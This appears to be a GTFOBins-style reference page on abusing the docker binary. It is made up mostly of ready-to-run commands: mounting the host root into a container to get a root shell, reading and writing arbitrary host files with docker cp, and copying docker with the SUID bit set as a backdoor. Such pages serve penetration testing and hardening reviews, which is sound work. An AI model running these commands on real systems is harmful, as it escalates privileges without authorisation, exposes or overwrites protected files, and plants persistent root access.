.. / docker

• Shell
• File write
• File read
• SUID
• Sudo

This requires the user to be privileged enough to run docker, i.e. being in the docker group or being root.

Any other Docker Linux image should work, e.g., debian.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• The resulting is a root shell.

  docker run -v /:/mnt --rm -it alpine chroot /mnt sh

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• Write a file by copying it to a temporary container and back to the target destination on the host.

  CONTAINER_ID="$(docker run -d alpine)" # or existing
  TF=$(mktemp)
  echo "DATA" > $TF
  docker cp $TF $CONTAINER_ID:$TF
  docker cp $CONTAINER_ID:$TF file_to_write

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• Read a file by copying it to a temporary container and back to a new location on the host.

  CONTAINER_ID="$(docker run -d alpine)"  # or existing
  TF=$(mktemp)
  docker cp file_to_read $CONTAINER_ID:$TF
  docker cp $CONTAINER_ID:$TF $TF
  cat $TF

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• The resulting is a root shell.

  sudo sh -c 'cp $(which docker) .; chmod +s ./docker'
  
  ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• The resulting is a root shell.

  sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh